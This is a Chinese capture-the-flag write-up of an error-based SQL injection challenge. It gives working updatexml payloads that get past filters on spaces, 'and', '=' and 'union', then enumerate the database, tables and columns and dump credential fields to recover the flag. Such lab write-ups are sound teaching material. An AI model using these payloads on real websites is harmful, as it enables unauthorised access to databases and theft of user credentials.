目录
1.简单测试
回顾之前的SQL,都是一种样式,肯定是原来的升级版,那就简单测试一下,输入and 1 = 1,order by......不论是发现都是一样的界面
2.报错注入
尝试用报错注入的方式试一试呗,反正不吃亏
一开始按照常理输入句子爆库,不行,发现应该是过滤掉一些关键字,但是具体过滤掉哪一些,本人还不太会使用工具,所以手工尝试,发现过滤了and、= 空格 union等多个sql关键字
3. 爆库
1'or(updatexml(1,concat(0x7e,database(),0x7e),1))or'
得到数据库名为geek
4. 爆表
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))or'
表:H4rDsq1
5. 爆列
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1))or'
列:id,username,password
6. 爆值
1'or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(geek.H4rDsq1)),0x7e),1))or'
得到flag{fb9d42ef-1f2d-4422-b2
发现出现flag,但是不完整,原因是用updatexml()函数,一次只能显示32个字符,所以我们需要利用其他办法得到后面的结果进行拼接
7. 拼接
比如使用right()函数或者left(()函数
https://baike.baidu.com/item/right%E5%87%BD%E6%95%B0/8088771
1'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,30)))from(geek.H4rDsq1)),0x7e),1))or'
得到f-1f2d-4422-b201-863ed064bc9d}
flag{fb9d42ef-1f2d-4422-b2
flag{fb9d42ef-1f2d-4422-b201-863ed064bc9d}
所以flag最后就可以挖出来啦